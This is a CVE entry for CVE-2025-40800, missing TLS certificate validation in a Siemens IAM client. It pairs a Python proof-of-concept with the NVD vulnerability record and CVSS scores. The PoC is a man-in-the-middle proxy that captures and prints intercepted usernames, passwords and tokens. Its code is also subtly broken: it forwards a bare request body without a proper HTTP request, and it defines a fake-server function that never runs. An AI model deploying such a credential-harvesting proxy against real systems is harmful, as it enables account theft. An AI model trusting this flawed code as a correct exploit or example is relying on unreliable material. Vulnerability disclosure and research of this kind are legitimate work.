CVE-2025-40800

#!/usr/bin/env python3 """ CVE-2025-40800 PoC - Missing SSL Certificate Validation in Siemens IAM Client This PoC demonstrates the MITM attack vector due to missing certificate validation. Note: For authorized security testing only. """ import socket import ssl import struct import json from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousProxyHandler(BaseHTTPRequestHandler): """ Malicious proxy that intercepts IAM authentication requests. Simulates the missing certificate validation vulnerability. """ def do_POST(self): """ Intercept POST requests to authorization server. Capture credentials and session tokens. """ content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length) # Log intercepted credentials (in real attack, these would be exfiltrated) print(f"[+] Intercepted authentication request: {len(post_data)} bytes") # Parse and extract sensitive data try: data = json.loads(post_data) if 'username' in data: print(f"[+] Username: {data.get('username')}") if 'password' in data: print(f"[+] Password: {data.get('password')}") if 'token' in data: print(f"[+] Token: {data.get('token')}") except: print("[*] Could not parse request data") # Forward request to legitimate server (transparent proxying) response = self.forward_to_legitimate_server(post_data) # Send response back to client self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(response) def forward_to_legitimate_server(self, data): """ Forward request to legitimate server to maintain service. In real attack, attacker could modify responses. """ try: context = ssl.create_default_context() # BUG: No certificate verification (demonstrates vulnerability) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection(('legitimate-auth-server', 443)) as sock: with context.wrap_socket(sock, server_hostname='legitimate-auth-server') as ssock: ssock.sendall(data) return ssock.recv(4096) except Exception as e: print(f"[-] Error forwarding: {e}") return b'{"error": "Service unavailable"}' def start_mitm_proxy(listen_port=8443): """ Start MITM proxy server on specified port. This demonstrates how missing certificate validation can be exploited. """ server_address = ('', listen_port) httpd = HTTPServer(server_address, MaliciousProxyHandler) print(f"[*] MITM Proxy listening on port {listen_port}") print("[*] Waiting for IAM client connections...") httpd.serve_forever() def create_fake_auth_server(cert_file='attacker.crt', key_file='attacker.key'): """ Create fake authorization server with self-signed certificate. Due to missing validation, IAM client will accept this certificate. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Load attacker-controlled certificate context.load_cert_chain(cert_file, key_file) # No certificate validation required - this is the vulnerability! return context if __name__ == "__main__": print("=" * 60) print("CVE-2025-40800 PoC - Missing Certificate Validation") print("Siemens IAM Client TLS MITM Attack") print("=" * 60) print("\n[!] WARNING: For authorized security testing only!") print("\n[*] Starting MITM proxy...") start_mitm_proxy()

{"cve": {"id": "CVE-2025-40800", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:45.073", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in COMOS V10.6 (All versions < V10.6.1), COMOS V10.6 (All versions < V10.6.1), NX V2412 (All versions < V2412.8700), NX V2506 (All versions < V2506.6000), Simcenter 3D (All versions < V2506.6000), Simcenter Femap (All versions < V2506.0002), Solid Edge SE2025 (All versions < V225.0 Update 10), Solid Edge SE2026 (All versions < V226.0 Update 1). The IAM client in affected products is missing server certificate validation while establishing TLS connections to the authorization server. This could allow an attacker to perform a man-in-the-middle attack."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-212953.html", "source": "[email protected]"}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-868571.html", "source": "[email protected]"}]}}